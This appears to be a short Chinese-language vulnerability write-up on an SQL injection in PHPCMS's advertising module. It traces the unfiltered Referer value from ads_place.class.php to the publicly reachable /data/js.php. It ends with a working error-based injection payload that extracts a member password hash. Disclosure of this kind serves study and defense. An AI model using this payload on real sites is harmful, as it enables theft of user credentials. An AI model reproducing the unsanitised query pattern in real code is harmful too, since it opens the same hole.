漏洞产生位置:
/ads/include/ads_place.class.php
```
function show($placeid)
{
………….............
else
{
$ads = $this->db->get_one("SELECT * FROM ".DB_PRE."ads a, $this->table p WHERE a.placeid=p.placeid AND p.placeid=$placeid AND a.fromdate<=UNIX_TIMESTAMP() AND a.todate>=UNIX_TIMESTAMP() AND a.passed=1 AND a.status=1 ORDER BY rand() LIMIT 1");
$contents[] = ads_content($ads, 1);
$this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$this->referer', '$time', '0')");
$template = $ads['template'] ? $ads['template'] : 'ads';
}
include template('ads', $template);
}
```
这里的 $this->referer 没有过滤就直接构造SQL语句,并带入数据库中查询。造成了SQL注入.
回溯寻找用户可控点:
/ads/include/common.inc.php
```
<?php
require MOD_ROOT.'include/global.func.php';
require MOD_ROOT.'include/ads_place.class.php';
require MOD_ROOT.'include/ads.class.php';
```
这里引入了漏洞文件,但是用户不可控
继续寻找:
/ads/ad.php
```
<?php
require './include/common.inc.php';
$year = date('ym',TIME);
$table_status = $db->table_status(DB_PRE.'ads_'.$year);
.......................
```
这个文件用户已经可控了,已经可以注入了。
最终用户可直接访问的文件:
/data/js.php
```
<?php
chdir('../ads/');
require './ad.php';
?>
```
然后 访问这个文件,修改 referer 字段就可以注入。
用到的 payload:
```
Referer: 1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), '0')#
```
暂无评论